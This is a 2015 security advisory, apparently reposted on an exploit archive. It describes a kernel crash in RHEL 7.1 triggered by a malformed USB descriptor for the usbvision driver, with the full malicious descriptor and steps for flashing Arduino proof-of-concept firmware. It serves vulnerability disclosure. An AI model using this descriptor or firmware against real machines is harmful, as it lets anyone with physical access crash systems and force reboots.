exploit the possibilities

RedHat Enterprise Linux 7.1 Denial Of Service

RedHat Enterprise Linux 7.1 Denial Of Service
Posted Oct 7, 2015
Authored by Ralf Spenneberg, Hendrik Schwartke, Sergej Schumilo

RedHat Enterprise Linux version 7.1 suffers from a kernel crash vulnerability on invalid USB device descriptors.

tags | exploit, denial of service, kernel
systems | linux, redhat
SHA-256 | a6c1498865a19e4b8fb98829baeba3cc2c1cf40f95da53b3d912face5dffbc85

RedHat Enterprise Linux 7.1 Denial Of Service

Change Mirror Download
OpenSource Security Ralf Spenneberg
Am Bahnhof 3-5
48565 Steinfurt
info@os-s.net

OS-S Security Advisory 2015-04
http://www.os-s.net/advisories/DOS-KernelCrashesOnInvalidUSBDeviceDescriptors-UsbvisionDriver.pdf

Date: October 7th, 2015
Last Updated: October 7th, 2015
Authors: Sergej Schumilo, Hendrik Schwartke, Ralf Spenneberg
CVE: not yet assigned
CVSS: 4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C)
Title: Local RedHat Enterprise Linux DoS – RHEL 7.1 Kernel crashes on invalid
USB device descriptors (usbvision driver)
Severity: Critical. The Kernel panics. A reboot is required.
Vendor contacted: March 13th 2015
https://bugzilla.redhat.com/show_bug.cgi?id=1201858
Ease of Exploitation: Trivial
Vulnerability type: Wrong input validation
Products: RHEL 7.1 including all updates

Abstract
The Kernel 3.10.0-123.20.1.el7.x86_64 crashes when presented a buggy USB
device which requires the usbvision driver. All subsequently published kernel
updates crash as well.
Detailed product description
We confirmed the bug on the following system:
RHEL 7.1
kernel >= 3.10.0-123.20.1.el7.x86_64


Further products or kernel versions have not been tested
Description
The bug was found using the USB-fuzzing framework vUSBf from Sergej Schumilo
(github.com/schumilo) using the following device descriptor:

###[ USB_Device_Descriptor ]###
bLength = 18
bDescriptorType= 0x1
bcdUSB = 0x200
bDeviceClass= 0xff
bDeviceSubClass= 0
bDeviceProtocol= 0
bMaxPacketSize= 64
isVendor = 0x573
idProduct = 0x4d26
bcdDevice = 0x100
iManufacturer= 1
iProduct = 2
iSerialNumber= 3
bNumConfigurations= 1

This is the configuration descriptor containing the malicious value for
bInterfaceNumber causing the crash. Any number but 0 crashes the system.

###[ USB_Configuration_Descriptor ]###
bLength = 9
bDescriptorType= 0x2
wTotalLength= 0x27
bNumInterfaces= 1
bConfigurationValue= 1
iConfiguration= 0
bmAttributes= Remote_Wakeup+Self_Powered+Reserved_D7
bMaxPower = 49
###[ USB_Interface_Descriptor ]###
bLength = 9
bDescriptorType= 0x4
bInterfaceNumber= 255
bAlternateSetting= 0
bNumEndpoints= 3
bInterfaceClass= 0xff
bInterfaceSubClass= 0x0
bInterfaceProtocol= 0x0
iInterface= 0
###[ USB_Endpoint_Descriptor ]###
bLength = 7
bDescriptorType= 0x5
bEndpointAddress= 0x81
bmAttribut= 0x3
wMaxPacketSize= 1028
bInterval = 12
###[ USB_Endpoint_Descriptor ]###
bLength = 7
bDescriptorType= 0x5
bEndpointAddress= 0x1
bmAttribut= 0x2
wMaxPacketSize= 4
bInterval = 12
###[ USB_Endpoint_Descriptor ]###
bLength = 7
bDescriptorType= 0x5
bEndpointAddress= 0x82
bmAttribut= 0x1
wMaxPacketSize= 4
bInterval = 12

Proof of Concept
For a proof of concept we are providing a Arduino firmware file. Just flash it
on Arduino Leonardo and plug it into any RHEL machine. The arduino will
emulate the defective USB device.

avrdude -v -p ATMEGA32u4 -c avr109 -P /dev/ttyACM0 -b 57600 -U
flash:w:binary.hex

The file binary.hex has been attached to this bug report

To prevent automated sending of payloads, use a jumper to connect port D3 and
3V3!

Severity and Ease of Exploitation
The security weakness can be easily exploited. Using our arduino firmware only
physical access to the system is required.
Vendor Communication
We unsuccessfully tried to contact the vendor for several months. We never
received any response on our bugtraq ticket:
https://bugzilla.redhat.com/show_bug.cgi?id=1201858

Arduino Firmware
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--
OpenSource Security Ralf Spenneberg http://www.os-s.de
Am Bahnhof 3-5 48565 Steinfurt Germany
Fon: +49(0)2552 638 755 Fax: +49(0)2552 638 757
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